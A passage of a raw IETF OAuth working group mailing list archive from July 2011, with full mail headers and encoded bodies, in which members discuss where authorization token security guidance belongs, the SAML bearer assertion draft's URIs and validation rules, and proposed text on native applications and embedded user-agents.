Id%59$Dn%LODDERSTEDT.NET$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-FOPE-CONNECTOR: Id%59$Dn%ORACLE.COM$RO%2$TLS%6$FQDN%131.107.125.5$TlsDn% X-OriginatorOrg: microsoft.com X-CrossPremisesHeadersPromoted: TK5EX14MLTC102.redmond.corp.microsoft.com X-CrossPremisesHeadersFiltered: TK5EX14MLTC102.redmond.corp.microsoft.com Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 18:23:27 -0000 --_000_B26C1EF377CB694EAB6BDDC8E624B6E72315F5A7CH1PRD0302MB115_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I was responding to the structure question only. The token text is question= able sine the tokens are opaque to the core, seems like the token write-up = better belongs in the threat model document. Developers of the various toke= n specs and use this as guidance and reference it. From: Brian Eaton [mailto:beaton@google.com] Sent: Thursday, July 07, 2011 10:59 AM To: Anthony Nadalin Cc: Eran Hammer-Lahav; oauth@ietf.org; Mark Mcgloin (mark.mcgloin@ie.ibm.co= m); Torsten Lodderstedt (torsten@lodderstedt.net); Phil Hunt (phil.hunt@ora= cle.com) Subject: Re: [OAUTH-WG] security considerations - authorization tokens On Thu, Jul 7, 2011 at 10:49 AM, Anthony Nadalin > wrote: When we constructed the current structure in Prague we thought that structu= re best fit the needs of a implementer, so my preference would be to keep i= t as it is now but, Torsten / Mark / Phil also may have feedback. Really? The current doc has *no guidelines* on how to implement authorization token= s whatsoever. So even if you like the current organization of the security considerations= , I suspect you'll agree it would make sense to offer some guidance on how = these tokens ought to be implemented. --_000_B26C1EF377CB694EAB6BDDC8E624B6E72315F5A7CH1PRD0302MB115_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I was responding to the s= tructure question only. The token text is questionable sine the tokens are = opaque to the core, seems like the token write-up better belongs in the threat model document. Developers of the various token spec= s and use this as guidance and reference it.

 <= /p>

From: Brian Ea= ton [mailto:beaton@google.com]
Sent: Thursday, July 07, 2011 10:59 AM
To: Anthony Nadalin
Cc: Eran Hammer-Lahav; oauth@ietf.org; Mark Mcgloin (mark.mcgloin@ie= .ibm.com); Torsten Lodderstedt (torsten@lodderstedt.net); Phil Hunt (phil.h= unt@oracle.com)
Subject: Re: [OAUTH-WG] security considerations - authorization toke= ns

 

On Thu, Jul 7, 2011 at 10:49 AM, Anthony Nadalin <= ;tonynad@microsoft.com> wro= te:

When we constructed the current structure in Prague = we thought that structure best fit the needs of a implementer, so my prefer= ence would be to keep it as it is now but, Torsten / Mark / Phil also may h= ave feedback.

 

Really?

 

The current doc has *no guidelines* on how to implem= ent authorization tokens whatsoever.

 

So even if you like the current organization of the = security considerations, I suspect you'll agree it would make sense to offe= r some guidance on how these tokens ought to be implemented.

--_000_B26C1EF377CB694EAB6BDDC8E624B6E72315F5A7CH1PRD0302MB115_-- From beaton@google.com Thu Jul 7 11:26:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id E697121F8552 for ; Thu, 7 Jul 2011 11:26:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -105.976 X-Spam-Level: X-Spam-Status: No, score=-105.976 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_MED=-4, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id izswcQcv2QGd for ; Thu, 7 Jul 2011 11:26:29 -0700 (PDT) Received: from smtp-out.google.com (smtp-out.google.com [74.125.121.67]) by ietfa.amsl.com (Postfix) with ESMTP id 283DB21F854F for ; Thu, 7 Jul 2011 11:26:28 -0700 (PDT) Received: from wpaz5.hot.corp.google.com (wpaz5.hot.corp.google.com [172.24.198.69]) by smtp-out.google.com with ESMTP id p67IQRs5005668 for ; Thu, 7 Jul 2011 11:26:27 -0700 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta; t=1310063188; bh=6bXRNmzMeIDaelDWs59flt09ZNM=; h=MIME-Version:In-Reply-To:References:Date:Message-ID:Subject:From: To:Cc:Content-Type; b=pTQgmTXClYgObY2tAGJLRxtQhV5m7f94CiHZDi8hTrIt8Mnr+ZQsR3XenabvowT8i AL2UmPv2RHOFKX2ytkJLw== DomainKey-Signature: a=rsa-sha1; s=beta; d=google.com; c=nofws; q=dns; h=dkim-signature:mime-version:in-reply-to:references:date: message-id:subject:from:to:cc:content-type:x-system-of-record; b=QCtOJfi6sRVQAjXZViRogxHatYT0m2AJVru4oI3+AG4dqyuQmNK45nE1hwgfPFRzz siGxx8GxBTt3jhIWvg5mg== Received: from pzk37 (pzk37.prod.google.com [10.243.19.165]) by wpaz5.hot.corp.google.com with ESMTP id p67IO3Wo013113 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Thu, 7 Jul 2011 11:26:26 -0700 Received: by pzk37 with SMTP id 37so1174220pzk.15 for ; Thu, 07 Jul 2011 11:26:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=beta; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=RKPHZZCAaYq19+WqF08spIGdMwqGMNAtmB3H+LiqKUM=; b=MxQKX8RtXuUy2Cj3NLQ3ADZacfj3ZT2+BVU0bJuDrV2P0Q54sJDBwPGr9Rq1fr4Joc RI9lLVvDgyhLVnVO1AtA== MIME-Version: 1.0 Received: by 10.142.199.19 with SMTP id w19mr608405wff.323.1310063185763; Thu, 07 Jul 2011 11:26:25 -0700 (PDT) Received: by 10.142.14.2 with HTTP; Thu, 7 Jul 2011 11:26:25 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Thu, 7 Jul 2011 11:26:25 -0700 Message-ID: From: Brian Eaton To: Anthony Nadalin Content-Type: multipart/alternative; boundary=000e0cd22ae2d21d2404a77edad5 X-System-Of-Record: true Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 18:26:30 -0000 --000e0cd22ae2d21d2404a77edad5 Content-Type: text/plain; charset=ISO-8859-1 On Thu, Jul 7, 2011 at 11:08 AM, Anthony Nadalin wrote: > I was responding to the structure question only. The token text is > questionable sine the tokens are opaque to the core, seems like the token > write-up better belongs in the threat model document. Developers of the > various token specs and use this as guidance and reference it. > OK, leaving aside the question of where the token text should end up, is the text I sent technically correct and useful? > The proposed text is here: http://www.ietf.org/mail-archive/web/oauth/current/msg06362.html. --000e0cd22ae2d21d2404a77edad5 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Thu, Jul 7, 2011 at 11:08 AM, Anthony Nadalin <tonynad@microsoft.com> w= rote:

I was= responding to the structure question only. The token text is questionable = sine the tokens are opaque to the core, seems like the token write-up bette= r belongs in the threat model document. Developers of the various token spec= s and use this as guidance and reference it.


OK, leaving aside the question of where the token = text should end up, is the text I sent technically correct and useful?

--000e0cd22ae2d21d2404a77edad5-- From bcampbell@pingidentity.com Thu Jul 7 12:06:14 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 91A9C1F0CC7 for ; Thu, 7 Jul 2011 12:06:14 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -5.929 X-Spam-Level: X-Spam-Status: No, score=-5.929 tagged_above=-999 required=5 tests=[AWL=0.048, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id FKASxeDf3kyu for ; Thu, 7 Jul 2011 12:06:13 -0700 (PDT) Received: from na3sys009aog113.obsmtp.com (na3sys009aog113.obsmtp.com [74.125.149.209]) by ietfa.amsl.com (Postfix) with ESMTP id 67C251F0CB6 for ; Thu, 7 Jul 2011 12:06:13 -0700 (PDT) Received: from mail-qy0-f178.google.com ([209.85.216.178]) (using TLSv1) by na3sys009aob113.postini.com ([74.125.148.12]) with SMTP ID DSNKThYDohMd0S/odlpTy74smAnVRNLK6Vev@postini.com; Thu, 07 Jul 2011 12:06:13 PDT Received: by mail-qy0-f178.google.com with SMTP id 27so836640qyk.2 for ; Thu, 07 Jul 2011 12:06:10 -0700 (PDT) Received: by 10.224.45.71 with SMTP id d7mr907094qaf.187.1310065570102; Thu, 07 Jul 2011 12:06:10 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.28.201 with HTTP; Thu, 7 Jul 2011 12:05:40 -0700 (PDT) From: Brian Campbell Date: Thu, 7 Jul 2011 13:05:40 -0600 Message-ID: To: oauth Content-Type: text/plain; charset=ISO-8859-1 Subject: [OAUTH-WG] SAML Assertion Draft Items X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 19:06:14 -0000 WG, Unfortunately I will not be at IETF#81 and will probably not be able to post a new draft of draft-ietf-oauth-saml2-bearer prior to the I-D submission cutoff date. In lieu of that, I'd like to make a few proposals and/or ask a few questions regarding the next draft in hopes of fostering some productive discussion. Item 1: Profiling of draft-ietf-oauth-assertions Assuming the WG continues to support draft-ietf-oauth-assertions, the SAML draft should become a profile/extension of it. For SAML as a grant type, that should be easy and even shorten/simplify this draft. However, the SAML draft does not currently cover SAML for client authentication and profiling draft-ietf-oauth-assertions would suggest that it should. Is there any general consensus as to if SAML should be profiled as a client authentication method? It is certainly feasible but might require restructuring and retitling the draft. Item 2: URI(s) The value for grant_type is currently defined as http://oauth.net/grant_type/saml/2.0/bearer but there have been some questions raised about the stability and appropriateness of the URL. I really did read RFCs 2648 & 3553, as was suggested at the last F2F meeting, but it's not clear to me how to register an IETF URI and/or if those RFCs are fully appropriate for this. If someone could explain it to me in terms my preschooler could understand, maybe I could jump though the proper hoops to get the URI to be something like urn:ietf:something:something. Otherwise, I can continue to use http://oauth.net/grant_type/saml/2.0/bearer and, assuming the draft should also cover client authentication, also define http://oauth.net/client_assertion_type/saml/2.0/bearer. The JWT version could then follow a similar pattern. Or perhaps we could use the URI, urn:oasis:names:tc:SAML:2.0:cm:bearer which is defined in section 3.3 of saml-profiles-2.0-os as URI that identifies the bearer subject confirmation method. It seems like that might be close enough to work out without violating anything serious. And it could be used for both grant_type and client_assertion_type, which is nice. Item 3: Processing rules An out of band request came from folks at a large company to change/relax the validation rules in order to allow for interoperability with existing software products. Which seems very reasonable. The change would basically amount to relaxing the MUST on the element to a SHOULD (or maybe loser even) while adding a requirement for a NotOnOrAfter attribute on the element (possibly conditionally based on the existence of it, or not, on the ). It's a little hard to explain but hopefully that conveys the idea. It seems like a change that should be made but I wanted to get some feedback from a wider group before doing it. I realize the assertion stuff is secondary to the core protocol for most of you but I that you, if you've read this far, and I welcome and appreciate any thoughts/feedback on these issues/questions. Thanks, Brian From eran@hueniverse.com Thu Jul 7 21:37:19 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 793EF21F869B for ; Thu, 7 Jul 2011 21:37:19 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.664 X-Spam-Level: X-Spam-Status: No, score=-2.664 tagged_above=-999 required=5 tests=[AWL=-0.066, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id V9zmjsi9Nbxz for ; Thu, 7 Jul 2011 21:37:18 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 769E021F8698 for ; Thu, 7 Jul 2011 21:37:18 -0700 (PDT) Received: (qmail 26375 invoked from network); 8 Jul 2011 04:37:17 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 04:37:16 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Thu, 7 Jul 2011 21:36:50 -0700 From: Eran Hammer-Lahav To: Anthony Nadalin , "OAuth WG (oauth@ietf.org)" Date: Thu, 7 Jul 2011 21:36:46 -0700 Thread-Topic: [OAUTH-WG] Native Application Text Thread-Index: Acw16NyZvC61BBzbTqSOVSJ2OxoVBgAFBNQAAYUdjYAARcswsA== Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FF78@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309311376.66076.YahooMailNeo@web31811.mail.mud.yahoo.com> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF78P3PW5EX1MB01E_" MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Native Application Text X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 04:37:19 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF78P3PW5EX1MB01E_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 V2hhdCBpcyDigJhtb25pdG9yaW5nIGh0dHAgaGVhZGVyc+KAmT8NCg0KRUhMDQoNCl9fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fDQpGcm9tOiBBbnRob255IE5hZGFsaW4gPHRvbnluYWRA bWljcm9zb2Z0LmNvbTxtYWlsdG86dG9ueW5hZEBtaWNyb3NvZnQuY29tPj4NClRvOiAiT0F1dGgg V0cgKG9hdXRoQGlldGYub3JnPG1haWx0bzpvYXV0aEBpZXRmLm9yZz4pIiA8b2F1dGhAaWV0Zi5v cmc8bWFpbHRvOm9hdXRoQGlldGYub3JnPj4NClNlbnQ6IFR1ZXNkYXksIEp1bmUgMjgsIDIwMTEg NjoxNSBQTQ0KU3ViamVjdDogW09BVVRILVdHXSBOYXRpdmUgQXBwbGljYXRpb24gVGV4dA0KOS4g TmF0aXZlIEFwcGxpY2F0aW9ucw0KDQpBIG5hdGl2ZSBhcHBsaWNhdGlvbiBpcyBhIGNsaWVudCB3 aGljaCBpcyBpbnN0YWxsZWQgYW5kIGV4ZWN1dGVzIG9uIHRoZSBlbmQtdXNlcidzIGRldmljZSAo aS5lLiBkZXNrdG9wIGFwcGxpY2F0aW9uLCBuYXRpdmUgbW9iaWxlIGFwcGxpY2F0aW9uLCBldGMu KS4gIE5hdGl2ZSBhcHBsaWNhdGlvbnMgbWF5IHJlcXVpcmUgc3BlY2lhbCBjb25zaWRlcmF0aW9u IHJlbGF0ZWQgdG8gc2VjdXJpdHksIHBsYXRmb3JtIGNhcGFiaWxpdGllcywgYW5kIG92ZXJhbGwg ZW5kLXVzZXIgZXhwZXJpZW5jZS4gIFRoZSBmb2xsb3dpbmcgYXJlIGV4YW1wbGVzIG9mIGhvdyBu YXRpdmUgYXBwbGljYXRpb25zIG1heSB1dGlsaXplIE9BdXRoOg0KDQogICBvICBJbml0aWF0ZSBh biBBdXRob3JpemF0aW9uIFJlcXVlc3QgdXNpbmcgYW4gZXh0ZXJuYWwgdXNlci1hZ2VudDogVGhl IG5hdGl2ZSBhcHBsaWNhdGlvbiBjYW4gY2FwdHVyZSB0aGUgcmVzcG9uc2UgZnJvbSB0aGUgYXV0 aG9yaXphdGlvbiBzZXJ2ZXIgdXNpbmcgYSB2YXJpZXR5IG9mIHRlY2huaXF1ZXMgc3VjaCBhcyB0 aGUgdXNlIG9mIHRoZSB2YXJpb3VzIG1ldGhvZHMgZm9yIHJlZGlyZWN0aW9uIGluY2x1ZGluZyBh IFVSSSBpZGVudGlmeWluZyBhIGN1c3RvbSBVUkkgc2NoZW1lIChyZWdpc3RlcmVkIHdpdGggdGhl IG9wZXJhdGluZyBzeXN0ZW0gdG8gaW52b2tlIHRoZSBuYXRpdmUgYXBwbGljYXRpb24gYXMgaGFu ZGxlciksIG1hbnVhbCBjb3B5LWFuZC1wYXN0ZSwgcnVubmluZyBhIGxvY2FsIHdlYnNlcnZlciwg YnJvd3NlciBwbHVnLWlucywgb3IgYnkgcHJvdmlkaW5nIGEgcmVkaXJlY3Rpb24gVVJJIGlkZW50 aWZ5aW5nIGEgc2VydmVyLWhvc3RlZCByZXNvdXJjZSB1bmRlciB0aGUgbmF0aXZlIGFwcGxpY2F0 aW9uJ3MgY29udHJvbCwgd2hpY2ggaW4gdHVybiBtYWtlcyB0aGUgcmVzcG9uc2UgYXZhaWxhYmxl IHRvIHRoZSBuYXRpdmUgYXBwbGljYXRpb24uDQogICBvICBJbml0aWF0ZSBhbiBBdXRob3JpemF0 aW9uIFJlcXVlc3QgdXNpbmcgYW4gZW1iZWRkZWQgdXNlci1hZ2VudDogIFRoZSBuYXRpdmUgYXBw bGljYXRpb24gb2J0YWlucyB0aGUgcmVzcG9uc2UgYnkgZGlyZWN0bHkgY29tbXVuaWNhdGluZyB3 aXRoIHRoZSBlbWJlZGRlZCB1c2VyLWFnZW50LiAgVGVjaG5pcXVlcyBpbmNsdWRlIG1vbml0b3Jp bmcgc3RhdGUgY2hhbmdlcyBlbWl0dGVkIGR1cmluZyBVUkwgbG9hZGluZywgbW9uaXRvcmluZyBo dHRwIGhlYWRlcnMsIGFjY2Vzc2luZyB0aGUgdXNlci1hZ2VudCdzIGNvb2tpZSBqYXIsIGV0Yy4N Cg0KV2hlbiBjaG9vc2luZyBiZXR3ZWVuIGxhdW5jaGluZyBhbiBleHRlcm5hbCB1c2VyLWFnZW50 IGFuZCBhbiBlbWJlZGRlZCB1c2VyLWFnZW50LCBuYXRpdmUgYXBwbGljYXRpb24gZGV2ZWxvcGVy cyBzaG91bGQgY29uc2lkZXIgdGhlIGZvbGxvd2luZzoNCg0KICAgbyAgRXh0ZXJuYWwgdXNlci1h Z2VudHMgbWF5IGltcHJvdmUgY29tcGxldGlvbiByYXRlIGFzIHRoZSBlbmQtdXNlciBtYXkgYWxy ZWFkeSBoYXZlIGFuIGFjdGl2ZSBzZXNzaW9uIHdpdGggdGhlIGF1dGhvcml6YXRpb24gc2VydmVy IHJlbW92aW5nIHRoZSBuZWVkIHRvIHJlLWF1dGhlbnRpY2F0ZSwgYW5kIHByb3ZpZGUgYSBmYW1p bGlhciB1c2VyLWFnZW50IHVzZXIgZXhwZXJpZW5jZSBhbmQgZnVuY3Rpb25hbGl0eS4gIFRoZSBl bmQtdXNlciBtYXkgYWxzbyByZWx5IG9uIGV4dGVuc2lvbnMgb3IgYWRkLW9ucyB0byBhc3Npc3Qg d2l0aCBhdXRoZW50aWNhdGlvbiAoZS5nLiBwYXNzd29yZCBtYW5hZ2VycyBvciAyLWZhY3RvciBk ZXZpY2UgcmVhZGVyKS4NCiAgIG8gIEVtYmVkZGVkIHVzZXItYWdlbnRzIG1heSBvZmZlciBhbiBp bXByb3ZlZCBlbmQtdXNlciBmbG93LCBhcyB0aGV5IHJlbW92ZSB0aGUgbmVlZCB0byBzd2l0Y2gg Y29udGV4dCBhbmQgb3BlbiBuZXcgd2luZG93cy4NCiAgIG8gIEVtYmVkZGVkIHVzZXItYWdlbnRz IHBvc2UgYSBzZWN1cml0eSBjaGFsbGVuZ2UgYmVjYXVzZSBlbmQtdXNlcnMgYXJlIGF1dGhlbnRp Y2F0aW5nIGluIGFuIHVuaWRlbnRpZmllZCB3aW5kb3cgd2l0aG91dCBhY2Nlc3MgdG8gdGhlIHZp c3VhbCBwcm90ZWN0aW9ucyBmb3VuZCBvbiBieSBtYW55IG9mIHRoZSBleHRlcm5hbCB1c2VyLWFn ZW50cy4gIEVtYmVkZGVkIHVzZXItYWdlbnRzIGVkdWNhdGUgZW5kLXVzZXIgdG8gdHJ1c3QgdW5p ZGVudGlmaWVkIHJlcXVlc3RzIGZvciBhdXRoZW50aWNhdGlvbiAobWFraW5nIHBoaXNoaW5nIGF0 dGFja3MgZWFzaWVyIHRvIGV4ZWN1dGUpLg0KDQpXaGVuIGNob29zaW5nIGJldHdlZW4gaW1wbGlj aXQgYW5kIGF1dGhvcml6YXRpb24gY29kZSBncmFudCB0eXBlcywgdGhlIGZvbGxvd2luZyBzaG91 bGQgYmUgY29uc2lkZXJlZDoNCg0KICAgbyAgTmF0aXZlIGFwcGxpY2F0aW9ucyB0aGF0IHVzZSB0 aGUgYXV0aG9yaXphdGlvbiBjb2RlIGdyYW50IHR5cGUgZmxvdyBTSE9VTEQgZG8gc28gd2l0aG91 dCB1c2luZyBjbGllbnQgcGFzc3dvcmQgY3JlZGVudGlhbHMsIGR1ZSB0byB0aGUgbmF0aXZlIGFw cGxpY2F0aW9u4oCZcyBpbmFiaWxpdHkgdG8ga2VlcCB0aG9zZSBjcmVkZW50aWFscyBzZWN1cmUu DQogICBvICBXaGVuIHVzaW5nIHRoZSBpbXBsaWNpdCBncmFudCB0eXBlIGZsb3cgYSByZWZyZXNo IHRva2VuIGlzIG5vdCByZXR1cm5lZA0KDQoNCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fDQpPQXV0aCBtYWlsaW5nIGxpc3QNCk9BdXRoQGlldGYub3JnPG1h aWx0bzpPQXV0aEBpZXRmLm9yZz4NCmh0dHBzOi8vd3d3LmlldGYub3JnL21haWxtYW4vbGlzdGlu Zm8vb2F1dGgNCg== --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FF78P3PW5EX1MB01E_ Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVy bjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6dz0idXJuOnNjaGVt YXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6d29yZCIgeG1sbnM6bT0iaHR0cDovL3NjaGVtYXMubWlj cm9zb2Z0LmNvbS9vZmZpY2UvMjAwNC8xMi9vbW1sIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv VFIvUkVDLWh0bWw0MCI+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPUdlbmVyYXRvciBjb250ZW50 PSJNaWNyb3NvZnQgV29yZCAxNCAoZmlsdGVyZWQgbWVkaXVtKSI+PCEtLVtpZiAhbXNvXT48c3R5 bGU+dlw6KiB7YmVoYXZpb3I6dXJsKCNkZWZhdWx0I1ZNTCk7fQ0Kb1w6KiB7YmVoYXZpb3I6dXJs KCNkZWZhdWx0I1ZNTCk7fQ0Kd1w6KiB7YmVoYXZpb3I6dXJsKCNkZWZhdWx0I1ZNTCk7fQ0KLnNo YXBlIHtiZWhhdmlvcjp1cmwoI2RlZmF1bHQjVk1MKTt9DQo8L3N0eWxlPjwhW2VuZGlmXS0tPjxz dHlsZT48IS0tDQovKiBGb250IERlZmluaXRpb25zICovDQpAZm9udC1mYWNlDQoJe2ZvbnQtZmFt aWx5OkNhbGlicmk7DQoJcGFub3NlLTE6MiAxNSA1IDIgMiAyIDQgMyAyIDQ7fQ0KQGZvbnQtZmFj ZQ0KCXtmb250LWZhbWlseTpUYWhvbWE7DQoJcGFub3NlLTE6MiAxMSA2IDQgMyA1IDQgNCAyIDQ7 fQ0KLyogU3R5bGUgRGVmaW5pdGlvbnMgKi8NCnAuTXNvTm9ybWFsLCBsaS5Nc29Ob3JtYWwsIGRp di5Nc29Ob3JtYWwNCgl7bWFyZ2luOjBpbjsNCgltYXJnaW4tYm90dG9tOi4wMDAxcHQ7DQoJZm9u dC1zaXplOjEyLjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJvbWFuIiwic2VyaWYiO30N CmE6bGluaywgc3Bhbi5Nc29IeXBlcmxpbmsNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCWNv bG9yOmJsdWU7DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOnZpc2l0ZWQsIHNwYW4u TXNvSHlwZXJsaW5rRm9sbG93ZWQNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCWNvbG9yOnB1 cnBsZTsNCgl0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCnAuTXNvQWNldGF0ZSwgbGkuTXNv QWNldGF0ZSwgZGl2Lk1zb0FjZXRhdGUNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCW1zby1z dHlsZS1saW5rOiJCYWxsb29uIFRleHQgQ2hhciI7DQoJbWFyZ2luOjBpbjsNCgltYXJnaW4tYm90 dG9tOi4wMDAxcHQ7DQoJZm9udC1zaXplOjguMHB0Ow0KCWZvbnQtZmFtaWx5OiJUYWhvbWEiLCJz YW5zLXNlcmlmIjt9DQpzcGFuLkJhbGxvb25UZXh0Q2hhcg0KCXttc28tc3R5bGUtbmFtZToiQmFs bG9vbiBUZXh0IENoYXIiOw0KCW1zby1zdHlsZS1wcmlvcml0eTo5OTsNCgltc28tc3R5bGUtbGlu azoiQmFsbG9vbiBUZXh0IjsNCglmb250LWZhbWlseToiVGFob21hIiwic2Fucy1zZXJpZiI7fQ0K cC55aXYtMjAwOTM4MTU0MW1zb25vcm1hbCwgbGkueWl2LTIwMDkzODE1NDFtc29ub3JtYWwsIGRp di55aXYtMjAwOTM4MTU0MW1zb25vcm1hbA0KCXttc28tc3R5bGUtbmFtZTp5aXYtMjAwOTM4MTU0 MW1zb25vcm1hbDsNCgltc28tbWFyZ2luLXRvcC1hbHQ6YXV0bzsNCgltYXJnaW4tcmlnaHQ6MGlu Ow0KCW1zby1tYXJnaW4tYm90dG9tLWFsdDphdXRvOw0KCW1hcmdpbi1sZWZ0OjBpbjsNCglmb250 LXNpemU6MTIuMHB0Ow0KCWZvbnQtZmFtaWx5OiJUaW1lcyBOZXcgUm9tYW4iLCJzZXJpZiI7fQ0K cC55aXYtMjAwOTM4MTU0MW1zb2NocGRlZmF1bHQsIGxpLnlpdi0yMDA5MzgxNTQxbXNvY2hwZGVm YXVsdCwgZGl2Lnlpdi0yMDA5MzgxNTQxbXNvY2hwZGVmYXVsdA0KCXttc28tc3R5bGUtbmFtZTp5 aXYtMjAwOTM4MTU0MW1zb2NocGRlZmF1bHQ7DQoJbXNvLW1hcmdpbi10b3AtYWx0OmF1dG87DQoJ bWFyZ2luLXJpZ2h0OjBpbjsNCgltc28tbWFyZ2luLWJvdHRvbS1hbHQ6YXV0bzsNCgltYXJnaW4t bGVmdDowaW47DQoJZm9udC1zaXplOjEyLjBwdDsNCglmb250LWZhbWlseToiVGltZXMgTmV3IFJv bWFuIiwic2VyaWYiO30NCnAueWl2LTIwMDkzODE1NDFtc29ub3JtYWwxLCBsaS55aXYtMjAwOTM4 MTU0MW1zb25vcm1hbDEsIGRpdi55aXYtMjAwOTM4MTU0MW1zb25vcm1hbDENCgl7bXNvLXN0eWxl LW5hbWU6eWl2LTIwMDkzODE1NDFtc29ub3JtYWwxOw0KCW1hcmdpbjowaW47DQoJbWFyZ2luLWJv dHRvbTouMDAwMXB0Ow0KCWZvbnQtc2l6ZToxMi4wcHQ7DQoJZm9udC1mYW1pbHk6IlRpbWVzIE5l dyBSb21hbiIsInNlcmlmIjsNCgljb2xvcjpibGFjazt9DQpwLnlpdi0yMDA5MzgxNTQxbXNvY2hw ZGVmYXVsdDEsIGxpLnlpdi0yMDA5MzgxNTQxbXNvY2hwZGVmYXVsdDEsIGRpdi55aXYtMjAwOTM4 MTU0MW1zb2NocGRlZmF1bHQxDQoJe21zby1zdHlsZS1uYW1lOnlpdi0yMDA5MzgxNTQxbXNvY2hw ZGVmYXVsdDE7DQoJbXNvLW1hcmdpbi10b3AtYWx0OmF1dG87DQoJbWFyZ2luLXJpZ2h0OjBpbjsN Cgltc28tbWFyZ2luLWJvdHRvbS1hbHQ6YXV0bzsNCgltYXJnaW4tbGVmdDowaW47DQoJZm9udC1z aXplOjEwLjBwdDsNCglmb250LWZhbWlseToiQXJpYWwiLCJzYW5zLXNlcmlmIjt9DQpzcGFuLnlp 